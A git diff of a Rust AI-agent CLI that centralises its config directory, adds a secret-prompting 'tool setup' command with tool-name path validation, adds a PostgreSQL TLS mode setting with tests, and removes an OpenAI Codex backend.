use std::path::PathBuf; use std::path::PathBuf;
use crate::bootstrap::ironclaw_base_dir;
use crate::settings::Settings; use crate::settings::Settings;
/// Run the status command, printing system health info. /// Run the status command, printing system health info.
@@ -168,11 +169,7 @@ async fn check_database() -> anyhow::Result<()> {
url: Some(url), url: Some(url),
..Default::default() ..Default::default()
}; };
let pool = config let pool = crate::db::tls::create_pool(&config, crate::config::SslMode::from_env())
.create_pool(
Some(deadpool_postgres::Runtime::Tokio1),
tokio_postgres::NoTls,
)
.map_err(|e| anyhow::anyhow!("pool error: {}", e))?; .map_err(|e| anyhow::anyhow!("pool error: {}", e))?;
let client = tokio::time::timeout(std::time::Duration::from_secs(5), pool.get()) let client = tokio::time::timeout(std::time::Duration::from_secs(5), pool.get())
@@ -206,15 +203,9 @@ fn count_wasm_files(dir: &std::path::Path) -> usize {
} }
fn default_tools_dir() -> PathBuf { fn default_tools_dir() -> PathBuf {
dirs::home_dir() ironclaw_base_dir().join("tools")
.unwrap_or_else(|| PathBuf::from("."))
.join(".ironclaw")
.join("tools")
} }
fn default_channels_dir() -> PathBuf { fn default_channels_dir() -> PathBuf {
dirs::home_dir() ironclaw_base_dir().join("channels")
.unwrap_or_else(|| PathBuf::from("."))
.join(".ironclaw")
.join("channels")
} }
+184 -37
View File
@@ -9,6 +9,7 @@ use std::sync::Arc;
use clap::Subcommand; use clap::Subcommand;
use tokio::fs; use tokio::fs;
use crate::bootstrap::ironclaw_base_dir;
use crate::config::Config; use crate::config::Config;
#[allow(unused_imports)] #[allow(unused_imports)]
use crate::db::Database; use crate::db::Database;
@@ -19,9 +20,7 @@ use crate::tools::wasm::{CapabilitiesFile, compute_binary_hash};
/// Default tools directory. /// Default tools directory.
fn default_tools_dir() -> PathBuf { fn default_tools_dir() -> PathBuf {
dirs::home_dir() ironclaw_base_dir().join("tools")
.map(|h| h.join(".ironclaw").join("tools"))
.unwrap_or_else(|| PathBuf::from(".ironclaw/tools"))
} }
#[derive(Subcommand, Debug, Clone)] #[derive(Subcommand, Debug, Clone)]
@@ -100,6 +99,20 @@ pub enum ToolCommand {
#[arg(short, long, default_value = "default")] #[arg(short, long, default_value = "default")]
user: String, user: String,
}, },
/// Configure required secrets for a tool (from setup.required_secrets)
Setup {
/// Name of the tool
name: String,
/// Directory to look for tool (default: ~/.ironclaw/tools/)
#[arg(short, long)]
dir: Option<PathBuf>,
/// User ID for storing the secret (default: "default")
#[arg(short, long, default_value = "default")]
user: String,
},
} }
/// Run a tool command. /// Run a tool command.
@@ -118,6 +131,7 @@ pub async fn run_tool_command(cmd: ToolCommand) -> anyhow::Result<()> {
ToolCommand::Remove { name, dir } => remove_tool(name, dir).await, ToolCommand::Remove { name, dir } => remove_tool(name, dir).await,
ToolCommand::Info { name_or_path, dir } => show_tool_info(name_or_path, dir).await, ToolCommand::Info { name_or_path, dir } => show_tool_info(name_or_path, dir).await,
ToolCommand::Auth { name, dir, user } => auth_tool(name, dir, user).await, ToolCommand::Auth { name, dir, user } => auth_tool(name, dir, user).await,
ToolCommand::Setup { name, dir, user } => setup_tool(name, dir, user).await,
} }
} }
@@ -524,43 +538,24 @@ fn print_capabilities_detail(caps: &CapabilitiesFile) {
} }
} }
/// Configure authentication for a tool. /// Validate a tool name to prevent path traversal.
async fn auth_tool(name: String, dir: Option<PathBuf>, user_id: String) -> anyhow::Result<()> { fn validate_tool_name(name: &str) -> anyhow::Result<()> {
let tools_dir = dir.unwrap_or_else(default_tools_dir); if name.is_empty()
let caps_path = tools_dir.join(format!("{}.capabilities.json", name)); || name.contains('/')
|| name.contains('\\')
if !caps_path.exists() { || name.contains("..")
|| name.contains('\0')
{
anyhow::bail!( anyhow::bail!(
"Tool '{}' not found or has no capabilities file at {}", "Invalid tool name '{}': must not contain path separators or '..'",
name, name
caps_path.display()
); );
} }
Ok(())
}
// Parse capabilities /// Initialize the secrets store from environment config.
let content = fs::read_to_string(&caps_path).await?; async fn init_secrets_store() -> anyhow::Result<Arc<dyn SecretsStore + Send + Sync>> {
let caps = CapabilitiesFile::from_json(&content)
.map_err(|e| anyhow::anyhow!("Invalid capabilities file: {}", e))?;
// Check for auth section
let auth = caps.auth.ok_or_else(|| {
anyhow::anyhow!(
"Tool '{}' has no auth configuration.\n\
The tool may not require authentication, or auth setup is not defined.",
name
)
})?;
let display_name = auth.display_name.as_deref().unwrap_or(&name);
let header = format!("{} Authentication", display_name);
println!();
println!("╔════════════════════════════════════════════════════════════════╗");
println!("{:^62}", header);
println!("╚════════════════════════════════════════════════════════════════╝");
println!();
// Initialize secrets store
let config = Config::from_env().await?; let config = Config::from_env().await?;
let master_key = config.secrets.master_key().ok_or_else(|| { let master_key = config.secrets.master_key().ok_or_else(|| {
anyhow::anyhow!( anyhow::anyhow!(
@@ -570,7 +565,7 @@ async fn auth_tool(name: String, dir: Option<PathBuf>, user_id: String) -> anyho
let crypto = SecretsCrypto::new(master_key.clone())?; let crypto = SecretsCrypto::new(master_key.clone())?;
let secrets_store: Arc<dyn SecretsStore + Send + Sync> = { let store: Arc<dyn SecretsStore + Send + Sync> = {
#[cfg(feature = "postgres")] #[cfg(feature = "postgres")]
{ {
let store = crate::history::Store::new(&config.database).await?; let store = crate::history::Store::new(&config.database).await?;
@@ -620,6 +615,47 @@ async fn auth_tool(name: String, dir: Option<PathBuf>, user_id: String) -> anyho
); );
} }
}; };
Ok(store)
}
/// Configure authentication for a tool.
async fn auth_tool(name: String, dir: Option<PathBuf>, user_id: String) -> anyhow::Result<()> {
validate_tool_name(&name)?;
let tools_dir = dir.unwrap_or_else(default_tools_dir);
let caps_path = tools_dir.join(format!("{}.capabilities.json", name));
if !caps_path.exists() {
anyhow::bail!(
"Tool '{}' not found or has no capabilities file at {}",
name,
caps_path.display()
);
}
// Parse capabilities
let content = fs::read_to_string(&caps_path).await?;
let caps = CapabilitiesFile::from_json(&content)
.map_err(|e| anyhow::anyhow!("Invalid capabilities file: {}", e))?;
// Check for auth section
let auth = caps.auth.ok_or_else(|| {
anyhow::anyhow!(
"Tool '{}' has no auth configuration.\n\
The tool may not require authentication, or auth setup is not defined.",
name
)
})?;
let display_name = auth.display_name.as_deref().unwrap_or(&name);
let header = format!("{} Authentication", display_name);
println!();
println!("╔════════════════════════════════════════════════════════════════╗");
println!("{:^62}", header);
println!("╚════════════════════════════════════════════════════════════════╝");
println!();
let secrets_store = init_secrets_store().await?;
// Check if already configured // Check if already configured
let already_configured = secrets_store let already_configured = secrets_store
@@ -1160,6 +1196,117 @@ fn print_success(display_name: &str) {
println!(); println!();
} }
/// Configure required secrets for a tool via its `setup.required_secrets` schema.
async fn setup_tool(name: String, dir: Option<PathBuf>, user_id: String) -> anyhow::Result<()> {
validate_tool_name(&name)?;
let tools_dir = dir.unwrap_or_else(default_tools_dir);
let caps_path = tools_dir.join(format!("{}.capabilities.json", name));
if !caps_path.exists() {
anyhow::bail!(
"Tool '{}' not found or has no capabilities file at {}",
name,
caps_path.display()
);
}
let content = fs::read_to_string(&caps_path).await?;
let caps = CapabilitiesFile::from_json(&content)
.map_err(|e| anyhow::anyhow!("Invalid capabilities file: {}", e))?;
let setup = caps.setup.ok_or_else(|| {
anyhow::anyhow!(
"Tool '{}' has no setup configuration.\n\
The tool may not require setup, or setup is not defined.\n\
Try 'ironclaw tool auth {}' for OAuth-based authentication.",
name,
name
)
})?;
if setup.required_secrets.is_empty() {
println!("Tool '{}' has no required secrets.", name);
return Ok(());
}
let display_name = caps
.auth
.as_ref()
.and_then(|a| a.display_name.as_deref())
.unwrap_or(&name);
println!();
println!("╔════════════════════════════════════════════════════════════════╗");
println!("{:^62}", format!("{} Setup", display_name));
println!("╚════════════════════════════════════════════════════════════════╝");
println!();
let secrets_store = init_secrets_store().await?;
let mut any_saved = false;
for secret in &setup.required_secrets {
let already_exists = secrets_store
.exists(&user_id, &secret.name)
.await
.unwrap_or(false);
if already_exists {
println!("{} (already configured)", secret.prompt);
print!(" Replace? [y/N]: ");
std::io::stdout().flush()?;
let mut input = String::new();
std::io::stdin().read_line(&mut input)?;
if !input.trim().eq_ignore_ascii_case("y") {
continue;
}
print!(" {}: ", secret.prompt);
} else if secret.optional {
print!(" {} (optional, Enter to skip): ", secret.prompt);
} else {
print!(" {}: ", secret.prompt);
}
std::io::stdout().flush()?;
let value = read_hidden_input()?;
println!();
if value.is_empty() {
if secret.optional {
println!(" Skipped.");
} else {
println!(
" Warning: empty value for required secret '{}'.",
secret.name
);
}
continue;
}
let params = CreateSecretParams::new(&secret.name, &value).with_provider(name.to_string());
secrets_store
.create(&user_id, params)
.await
.map_err(|e| anyhow::anyhow!("Failed to save secret: {}", e))?;
println!(" ✓ Saved.");
any_saved = true;
}
println!();
if any_saved {
println!("{} setup complete!", display_name);
} else {
println!(" No changes made.");
}
println!();
Ok(())
}
#[cfg(test)] #[cfg(test)]
mod tests { mod tests {
use super::*; use super::*;
+2 -4
View File
@@ -2,6 +2,7 @@ use std::path::PathBuf;
use secrecy::SecretString; use secrecy::SecretString;
use crate::bootstrap::ironclaw_base_dir;
use crate::config::helpers::{optional_env, parse_bool_env, parse_optional_env}; use crate::config::helpers::{optional_env, parse_bool_env, parse_optional_env};
use crate::error::ConfigError; use crate::error::ConfigError;
use crate::settings::Settings; use crate::settings::Settings;
@@ -193,8 +194,5 @@ impl ChannelsConfig {
/// Get the default channels directory (~/.ironclaw/channels/). /// Get the default channels directory (~/.ironclaw/channels/).
fn default_channels_dir() -> PathBuf { fn default_channels_dir() -> PathBuf {
dirs::home_dir() ironclaw_base_dir().join("channels")
.unwrap_or_else(|| PathBuf::from("."))
.join(".ironclaw")
.join("channels")
} }
+101 -4
View File
@@ -2,6 +2,7 @@ use std::path::PathBuf;
use secrecy::{ExposeSecret, SecretString}; use secrecy::{ExposeSecret, SecretString};
use crate::bootstrap::ironclaw_base_dir;
use crate::config::helpers::{optional_env, parse_optional_env}; use crate::config::helpers::{optional_env, parse_optional_env};
use crate::error::ConfigError; use crate::error::ConfigError;
@@ -39,6 +40,48 @@ impl std::str::FromStr for DatabaseBackend {
} }
} }
/// PostgreSQL SSL/TLS mode, matching libpq semantics for the common cases.
///
/// Default is `Prefer`: attempt TLS, fall back to plaintext. This is the
/// safest non-breaking default — local Postgres without TLS keeps working
/// while managed providers (Neon, Supabase, RDS) automatically get TLS.
#[derive(Debug, Clone, Copy, PartialEq, Eq, Default)]
pub enum SslMode {
/// Never use TLS (equivalent to libpq `sslmode=disable`).
Disable,
/// Try TLS first; fall back to plaintext on failure (default).
#[default]
Prefer,
/// Require TLS; fail if the server does not support it.
Require,
}
impl std::fmt::Display for SslMode {
fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
match self {
Self::Disable => write!(f, "disable"),
Self::Prefer => write!(f, "prefer"),
Self::Require => write!(f, "require"),
}
}
}
impl std::str::FromStr for SslMode {
type Err = String;
fn from_str(s: &str) -> Result<Self, Self::Err> {
match s.to_lowercase().as_str() {
"disable" => Ok(Self::Disable),
"prefer" => Ok(Self::Prefer),
"require" => Ok(Self::Require),
_ => Err(format!(
"invalid DATABASE_SSLMODE '{}', expected 'disable', 'prefer', or 'require'",
s
)),
}
}
}
/// Database configuration. /// Database configuration.
#[derive(Debug, Clone)] #[derive(Debug, Clone)]
pub struct DatabaseConfig { pub struct DatabaseConfig {
@@ -48,6 +91,8 @@ pub struct DatabaseConfig {
// -- PostgreSQL fields -- // -- PostgreSQL fields --
pub url: SecretString, pub url: SecretString,
pub pool_size: usize, pub pool_size: usize,
/// TLS mode for PostgreSQL connections (default: Prefer).
pub ssl_mode: SslMode,
// -- libSQL fields -- // -- libSQL fields --
/// Path to local libSQL database file (default: ~/.ironclaw/ironclaw.db). /// Path to local libSQL database file (default: ~/.ironclaw/ironclaw.db).
@@ -87,6 +132,15 @@ impl DatabaseConfig {
let pool_size = parse_optional_env("DATABASE_POOL_SIZE", 10)?; let pool_size = parse_optional_env("DATABASE_POOL_SIZE", 10)?;
let ssl_mode: SslMode = if let Some(s) = optional_env("DATABASE_SSLMODE")? {
s.parse().map_err(|e| ConfigError::InvalidValue {
key: "DATABASE_SSLMODE".to_string(),
message: e,
})?
} else {
SslMode::default()
};
let libsql_path = optional_env("LIBSQL_PATH")?.map(PathBuf::from).or_else(|| { let libsql_path = optional_env("LIBSQL_PATH")?.map(PathBuf::from).or_else(|| {
if backend == DatabaseBackend::LibSql { if backend == DatabaseBackend::LibSql {
Some(default_libsql_path()) Some(default_libsql_path())
@@ -109,6 +163,7 @@ impl DatabaseConfig {
backend, backend,
url: SecretString::from(url), url: SecretString::from(url),
pool_size, pool_size,
ssl_mode,
libsql_path, libsql_path,
libsql_url, libsql_url,
libsql_auth_token, libsql_auth_token,
@@ -121,10 +176,52 @@ impl DatabaseConfig {
} }
} }
impl SslMode {
/// Read from `DATABASE_SSLMODE` env var, defaulting to `Prefer`.
///
/// Silently falls back to `Prefer` on missing or unparseable values.
/// Used by lightweight CLI tools (status, doctor) that don't run the
/// full config pipeline.
pub fn from_env() -> Self {
std::env::var("DATABASE_SSLMODE")
.ok()
.and_then(|s| s.parse().ok())
.unwrap_or_default()
}
}
/// Default libSQL database path (~/.ironclaw/ironclaw.db). /// Default libSQL database path (~/.ironclaw/ironclaw.db).
pub fn default_libsql_path() -> PathBuf { pub fn default_libsql_path() -> PathBuf {
dirs::home_dir() ironclaw_base_dir().join("ironclaw.db")
.unwrap_or_else(|| PathBuf::from(".")) }
.join(".ironclaw")
.join("ironclaw.db") #[cfg(test)]
mod tests {
use super::*;
#[test]
fn ssl_mode_default_is_prefer() {
assert_eq!(SslMode::default(), SslMode::Prefer);
}
#[test]
fn ssl_mode_parse_roundtrip() {
for mode in [SslMode::Disable, SslMode::Prefer, SslMode::Require] {
let s = mode.to_string();
let parsed: SslMode = s.parse().expect("should parse");
assert_eq!(parsed, mode);
}
}
#[test]
fn ssl_mode_parse_case_insensitive() {
assert_eq!("DISABLE".parse::<SslMode>().unwrap(), SslMode::Disable);
assert_eq!("Prefer".parse::<SslMode>().unwrap(), SslMode::Prefer);
assert_eq!("REQUIRE".parse::<SslMode>().unwrap(), SslMode::Require);
}
#[test]
fn ssl_mode_parse_invalid() {
assert!("invalid".parse::<SslMode>().is_err());
}
} }
+2 -3
View File
@@ -1,3 +1,4 @@
use crate::bootstrap::ironclaw_base_dir;
use crate::config::helpers::{parse_bool_env, parse_optional_env}; use crate::config::helpers::{parse_bool_env, parse_optional_env};
use crate::error::ConfigError; use crate::error::ConfigError;
@@ -41,9 +42,7 @@ impl HygieneConfig {
enabled: self.enabled, enabled: self.enabled,
retention_days: self.retention_days, retention_days: self.retention_days,
cadence_hours: self.cadence_hours, cadence_hours: self.cadence_hours,
state_dir: dirs::home_dir() state_dir: ironclaw_base_dir(),
.unwrap_or_else(|| std::path::PathBuf::from("."))
.join(".ironclaw"),
} }
} }
} }
+67 -231
View File
@@ -2,6 +2,7 @@ use std::path::PathBuf;
use secrecy::SecretString; use secrecy::SecretString;
use crate::bootstrap::ironclaw_base_dir;
use crate::config::helpers::{optional_env, parse_optional_env}; use crate::config::helpers::{optional_env, parse_optional_env};
use crate::error::ConfigError; use crate::error::ConfigError;
use crate::settings::Settings; use crate::settings::Settings;
@@ -25,8 +26,6 @@ pub enum LlmBackend {
OpenAiCompatible, OpenAiCompatible,
/// Tinfoil private inference /// Tinfoil private inference
Tinfoil, Tinfoil,
/// OpenAI Codex via Responses API (ChatGPT OAuth or API key)
OpenAiCodex,
} }
impl std::str::FromStr for LlmBackend { impl std::str::FromStr for LlmBackend {
@@ -40,9 +39,8 @@ impl std::str::FromStr for LlmBackend {
"ollama" => Ok(Self::Ollama), "ollama" => Ok(Self::Ollama),
"openai_compatible" | "openai-compatible" | "compatible" => Ok(Self::OpenAiCompatible), "openai_compatible" | "openai-compatible" | "compatible" => Ok(Self::OpenAiCompatible),
"tinfoil" => Ok(Self::Tinfoil), "tinfoil" => Ok(Self::Tinfoil),
"openai_codex" | "codex" => Ok(Self::OpenAiCodex),
_ => Err(format!( _ => Err(format!(
"invalid LLM backend '{}', expected one of: nearai, openai, anthropic, ollama, openai_compatible, tinfoil, openai_codex", "invalid LLM backend '{}', expected one of: nearai, openai, anthropic, ollama, openai_compatible, tinfoil",
s s
)), )),
} }
@@ -58,7 +56,23 @@ impl std::fmt::Display for LlmBackend {
Self::Ollama => write!(f, "ollama"), Self::Ollama => write!(f, "ollama"),
Self::OpenAiCompatible => write!(f, "openai_compatible"), Self::OpenAiCompatible => write!(f, "openai_compatible"),
Self::Tinfoil => write!(f, "tinfoil"), Self::Tinfoil => write!(f, "tinfoil"),
Self::OpenAiCodex => write!(f, "openai_codex"), }
}
}
impl LlmBackend {
/// The environment variable that configures the model name for this backend.
///
/// Used by both `LlmConfig::resolve()` (reads the var) and the setup wizard
/// (writes the var to `.env`). Centralised here so the two stay in sync.
pub fn model_env_var(&self) -> &'static str {
match self {
Self::NearAi => "NEARAI_MODEL",
Self::OpenAi => "OPENAI_MODEL",
Self::Anthropic => "ANTHROPIC_MODEL",
Self::Ollama => "OLLAMA_MODEL",
Self::OpenAiCompatible => "LLM_MODEL",
Self::Tinfoil => "TINFOIL_MODEL",
} }
} }
} }
@@ -106,29 +120,6 @@ pub struct TinfoilConfig {
pub model: String, pub model: String,
} }
/// Configuration for OpenAI Codex via Responses API.
///
/// Supports two auth modes:
/// - **API key**: Standard OpenAI billing via `api.openai.com/v1/responses`
/// - **OAuth**: ChatGPT subscription billing via `chatgpt.com/backend-api/codex/responses`,
/// using tokens from the Codex CLI (`~/.codex/auth.json`)
#[derive(Debug, Clone)]
pub struct OpenAiCodexConfig {
/// Model name (default: "gpt-5.3-codex").
pub model: String,
/// Base URL. Defaults based on auth mode:
/// - API key: `https://api.openai.com/v1`
/// - OAuth: `https://chatgpt.com/backend-api/codex`
pub base_url: String,
/// API key for api.openai.com (standard billing).
pub api_key: Option<SecretString>,
/// Path to Codex CLI auth.json for OAuth tokens.
/// Default: `~/.codex/auth.json` (or `$CODEX_HOME/auth.json`).
pub auth_path: PathBuf,
/// OpenAI account ID (required for ChatGPT endpoint).
pub account_id: Option<String>,
}
/// LLM provider configuration. /// LLM provider configuration.
/// ///
/// NEAR AI remains the default backend. Users can switch to other providers /// NEAR AI remains the default backend. Users can switch to other providers
@@ -149,8 +140,6 @@ pub struct LlmConfig {
pub openai_compatible: Option<OpenAiCompatibleConfig>, pub openai_compatible: Option<OpenAiCompatibleConfig>,
/// Tinfoil config (populated when backend=tinfoil) /// Tinfoil config (populated when backend=tinfoil)
pub tinfoil: Option<TinfoilConfig>, pub tinfoil: Option<TinfoilConfig>,
/// OpenAI Codex config (populated when backend=openai_codex)
pub openai_codex: Option<OpenAiCodexConfig>,
} }
/// NEAR AI configuration. /// NEAR AI configuration.
@@ -206,6 +195,17 @@ pub struct NearAiConfig {
} }
impl LlmConfig { impl LlmConfig {
/// Resolve a model name from env var → settings.selected_model → hardcoded default.
fn resolve_model(
env_var: &str,
settings: &Settings,
default: &str,
) -> Result<String, ConfigError> {
Ok(optional_env(env_var)?
.or_else(|| settings.selected_model.clone())
.unwrap_or_else(|| default.to_string()))
}
pub(crate) fn resolve(settings: &Settings) -> Result<Self, ConfigError> { pub(crate) fn resolve(settings: &Settings) -> Result<Self, ConfigError> {
// Determine backend: env var > settings > default (NearAi) // Determine backend: env var > settings > default (NearAi)
let backend: LlmBackend = if let Some(b) = optional_env("LLM_BACKEND")? { let backend: LlmBackend = if let Some(b) = optional_env("LLM_BACKEND")? {
@@ -233,9 +233,7 @@ impl LlmConfig {
let nearai_api_key = optional_env("NEARAI_API_KEY")?.map(SecretString::from); let nearai_api_key = optional_env("NEARAI_API_KEY")?.map(SecretString::from);
let nearai = NearAiConfig { let nearai = NearAiConfig {
model: optional_env("NEARAI_MODEL")? model: Self::resolve_model("NEARAI_MODEL", settings, "zai-org/GLM-latest")?,
.or_else(|| settings.selected_model.clone())
.unwrap_or_else(|| "zai-org/GLM-latest".to_string()),
cheap_model: optional_env("NEARAI_CHEAP_MODEL")?, cheap_model: optional_env("NEARAI_CHEAP_MODEL")?,
base_url: optional_env("NEARAI_BASE_URL")?.unwrap_or_else(|| { base_url: optional_env("NEARAI_BASE_URL")?.unwrap_or_else(|| {
if nearai_api_key.is_some() { if nearai_api_key.is_some() {
@@ -276,7 +274,7 @@ impl LlmConfig {
key: "OPENAI_API_KEY".to_string(), key: "OPENAI_API_KEY".to_string(),
hint: "Set OPENAI_API_KEY when LLM_BACKEND=openai".to_string(), hint: "Set OPENAI_API_KEY when LLM_BACKEND=openai".to_string(),
})?; })?;
let model = optional_env("OPENAI_MODEL")?.unwrap_or_else(|| "gpt-4o".to_string()); let model = Self::resolve_model("OPENAI_MODEL", settings, "gpt-4o")?;
let base_url = optional_env("OPENAI_BASE_URL")?; let base_url = optional_env("OPENAI_BASE_URL")?;
Some(OpenAiDirectConfig { Some(OpenAiDirectConfig {
api_key, api_key,
@@ -294,8 +292,8 @@ impl LlmConfig {
key: "ANTHROPIC_API_KEY".to_string(), key: "ANTHROPIC_API_KEY".to_string(),
hint: "Set ANTHROPIC_API_KEY when LLM_BACKEND=anthropic".to_string(), hint: "Set ANTHROPIC_API_KEY when LLM_BACKEND=anthropic".to_string(),
})?; })?;
let model = optional_env("ANTHROPIC_MODEL")? let model =
.unwrap_or_else(|| "claude-sonnet-4-20250514".to_string()); Self::resolve_model("ANTHROPIC_MODEL", settings, "claude-sonnet-4-20250514")?;
let base_url = optional_env("ANTHROPIC_BASE_URL")?; let base_url = optional_env("ANTHROPIC_BASE_URL")?;
Some(AnthropicDirectConfig { Some(AnthropicDirectConfig {
api_key, api_key,
@@ -310,7 +308,7 @@ impl LlmConfig {
let base_url = optional_env("OLLAMA_BASE_URL")? let base_url = optional_env("OLLAMA_BASE_URL")?
.or_else(|| settings.ollama_base_url.clone()) .or_else(|| settings.ollama_base_url.clone())
.unwrap_or_else(|| "http://localhost:11434".to_string()); .unwrap_or_else(|| "http://localhost:11434".to_string());
let model = optional_env("OLLAMA_MODEL")?.unwrap_or_else(|| "llama3".to_string()); let model = Self::resolve_model("OLLAMA_MODEL", settings, "llama3")?;
Some(OllamaConfig { base_url, model }) Some(OllamaConfig { base_url, model })
} else { } else {
None None
@@ -324,9 +322,7 @@ impl LlmConfig {
hint: "Set LLM_BASE_URL when LLM_BACKEND=openai_compatible".to_string(), hint: "Set LLM_BASE_URL when LLM_BACKEND=openai_compatible".to_string(),
})?; })?;
let api_key = optional_env("LLM_API_KEY")?.map(SecretString::from); let api_key = optional_env("LLM_API_KEY")?.map(SecretString::from);
let model = optional_env("LLM_MODEL")? let model = Self::resolve_model("LLM_MODEL", settings, "default")?;
.or_else(|| settings.selected_model.clone())
.unwrap_or_else(|| "default".to_string());
let extra_headers = optional_env("LLM_EXTRA_HEADERS")? let extra_headers = optional_env("LLM_EXTRA_HEADERS")?
.map(|val| parse_extra_headers(&val)) .map(|val| parse_extra_headers(&val))
.transpose()? .transpose()?
@@ -348,38 +344,12 @@ impl LlmConfig {
key: "TINFOIL_API_KEY".to_string(), key: "TINFOIL_API_KEY".to_string(),
hint: "Set TINFOIL_API_KEY when LLM_BACKEND=tinfoil".to_string(), hint: "Set TINFOIL_API_KEY when LLM_BACKEND=tinfoil".to_string(),
})?; })?;
let model = optional_env("TINFOIL_MODEL")?.unwrap_or_else(|| "kimi-k2-5".to_string()); let model = Self::resolve_model("TINFOIL_MODEL", settings, "kimi-k2-5")?;
Some(TinfoilConfig { api_key, model }) Some(TinfoilConfig { api_key, model })
} else { } else {
None None
}; };
let openai_codex = if backend == LlmBackend::OpenAiCodex {
let api_key = optional_env("OPENAI_CODEX_API_KEY")?.map(SecretString::from);
let model =
optional_env("OPENAI_CODEX_MODEL")?.unwrap_or_else(|| "gpt-5.3-codex".to_string());
let auth_path = optional_env("CODEX_AUTH_PATH")?
.map(PathBuf::from)
.unwrap_or_else(default_codex_auth_path);
let account_id = optional_env("OPENAI_CODEX_ACCOUNT_ID")?;
let base_url = optional_env("OPENAI_CODEX_BASE_URL")?.unwrap_or_else(|| {
if api_key.is_some() {
"https://api.openai.com/v1".to_string()
} else {
"https://chatgpt.com/backend-api/codex".to_string()
}
});
Some(OpenAiCodexConfig {
model,
base_url,
api_key,
auth_path,
account_id,
})
} else {
None
};
Ok(Self { Ok(Self {
backend, backend,
nearai, nearai,
@@ -388,7 +358,6 @@ impl LlmConfig {
ollama, ollama,
openai_compatible, openai_compatible,
tinfoil, tinfoil,
openai_codex,
}) })
} }
} }
@@ -427,55 +396,9 @@ fn parse_extra_headers(val: &str) -> Result<Vec<(String, String)>, ConfigError>
Ok(headers) Ok(headers)
} }
/// Get the default Codex CLI auth.json path.
///
/// Respects `$CODEX_HOME` if set, otherwise defaults to `~/.codex/auth.json`.
fn default_codex_auth_path() -> PathBuf {
if let Ok(codex_home) = std::env::var("CODEX_HOME") {
return PathBuf::from(codex_home).join("auth.json");
}
dirs::home_dir()
.unwrap_or_else(|| PathBuf::from("."))
.join(".codex")
.join("auth.json")
}
/// Extract an OAuth access token from a Codex CLI `auth.json` file.
///
/// Tries fields in order: `tokens.access_token`, `token`, `api_key`, `access_token`.
/// Returns `None` on any failure (file not found, parse error, no matching field).
pub fn extract_codex_oauth_token(auth_path: &std::path::Path) -> Option<String> {
let content = std::fs::read_to_string(auth_path).ok()?;
let json: serde_json::Value = serde_json::from_str(&content).ok()?;
// Try nested tokens.access_token first (Codex CLI format)
if let Some(token) = json
.get("tokens")
.and_then(|t| t.get("access_token"))
.and_then(|v| v.as_str())
&& !token.is_empty()
{
return Some(token.to_string());
}
// Try top-level fields
for field in &["token", "api_key", "access_token"] {
if let Some(val) = json.get(field).and_then(|v| v.as_str())
&& !val.is_empty()
{
return Some(val.to_string());
}
}
None
}
/// Get the default session file path (~/.ironclaw/session.json). /// Get the default session file path (~/.ironclaw/session.json).
fn default_session_path() -> PathBuf { fn default_session_path() -> PathBuf {
dirs::home_dir() ironclaw_base_dir().join("session.json")
.unwrap_or_else(|| PathBuf::from("."))
.join(".ironclaw")
.join("session.json")
} }
#[cfg(test)] #[cfg(test)]
@@ -608,166 +531,79 @@ mod tests {
); );
} }
/// Clear codex-related env vars for testing. /// Clear all ollama-related env vars.
fn clear_codex_env() { fn clear_ollama_env() {
// SAFETY: Only called under ENV_MUTEX in tests. // SAFETY: Only called under ENV_MUTEX in tests.
unsafe { unsafe {
std::env::remove_var("LLM_BACKEND"); std::env::remove_var("LLM_BACKEND");
std::env::remove_var("OPENAI_CODEX_API_KEY"); std::env::remove_var("OLLAMA_BASE_URL");
std::env::remove_var("OPENAI_CODEX_MODEL"); std::env::remove_var("OLLAMA_MODEL");
std::env::remove_var("OPENAI_CODEX_BASE_URL");
std::env::remove_var("OPENAI_CODEX_ACCOUNT_ID");
std::env::remove_var("CODEX_AUTH_PATH");
} }
} }
#[test] #[test]
fn codex_defaults_model_and_oauth_base_url() { fn ollama_uses_selected_model_when_ollama_model_unset() {
let _guard = ENV_MUTEX.lock().expect("env mutex poisoned"); let _guard = ENV_MUTEX.lock().expect("env mutex poisoned");
clear_codex_env(); clear_ollama_env();
let settings = Settings { let settings = Settings {
llm_backend: Some("openai_codex".to_string()), llm_backend: Some("ollama".to_string()),
selected_model: Some("llama3.2".to_string()),
..Default::default() ..Default::default()
}; };
let cfg = LlmConfig::resolve(&settings).expect("resolve should succeed"); let cfg = LlmConfig::resolve(&settings).expect("resolve should succeed");
let codex = cfg.openai_codex.expect("codex config should be present"); let ollama = cfg.ollama.expect("ollama config should be present");
assert_eq!(codex.model, "gpt-5.3-codex"); assert_eq!(ollama.model, "llama3.2");
// No API key → OAuth mode → ChatGPT base URL
assert!(codex.api_key.is_none());
assert_eq!(codex.base_url, "https://chatgpt.com/backend-api/codex");
assert!(codex.auth_path.to_string_lossy().contains("auth.json"));
} }
#[test] #[test]
fn codex_api_key_sets_openai_base_url() { fn ollama_model_env_overrides_selected_model() {
let _guard = ENV_MUTEX.lock().expect("env mutex poisoned"); let _guard = ENV_MUTEX.lock().expect("env mutex poisoned");
clear_codex_env(); clear_ollama_env();
// SAFETY: Under ENV_MUTEX. // SAFETY: Under ENV_MUTEX.
unsafe { unsafe {
std::env::set_var("OPENAI_CODEX_API_KEY", "sk-test-key"); std::env::set_var("OLLAMA_MODEL", "mistral:latest");
} }
let settings = Settings { let settings = Settings {
llm_backend: Some("openai_codex".to_string()), llm_backend: Some("ollama".to_string()),
selected_model: Some("llama3.2".to_string()),
..Default::default() ..Default::default()
}; };
let cfg = LlmConfig::resolve(&settings).expect("resolve should succeed"); let cfg = LlmConfig::resolve(&settings).expect("resolve should succeed");
let codex = cfg.openai_codex.expect("codex config should be present"); let ollama = cfg.ollama.expect("ollama config should be present");
assert!(codex.api_key.is_some()); assert_eq!(ollama.model, "mistral:latest");
assert_eq!(codex.base_url, "https://api.openai.com/v1");
// Cleanup // SAFETY: Under ENV_MUTEX.
unsafe { unsafe {
std::env::remove_var("OPENAI_CODEX_API_KEY"); std::env::remove_var("OLLAMA_MODEL");
} }
} }
#[test] #[test]
fn codex_env_vars_override_defaults() { fn openai_compatible_preserves_dotted_model_name() {
let _guard = ENV_MUTEX.lock().expect("env mutex poisoned"); let _guard = ENV_MUTEX.lock().expect("env mutex poisoned");
clear_codex_env(); clear_openai_compatible_env();
// SAFETY: Under ENV_MUTEX.
unsafe {
std::env::set_var("OPENAI_CODEX_MODEL", "gpt-5.1-codex");
std::env::set_var("OPENAI_CODEX_BASE_URL", "https://custom.example.com/v1");
std::env::set_var("OPENAI_CODEX_ACCOUNT_ID", "acct_123");
std::env::set_var("CODEX_AUTH_PATH", "/tmp/test-auth.json");
}
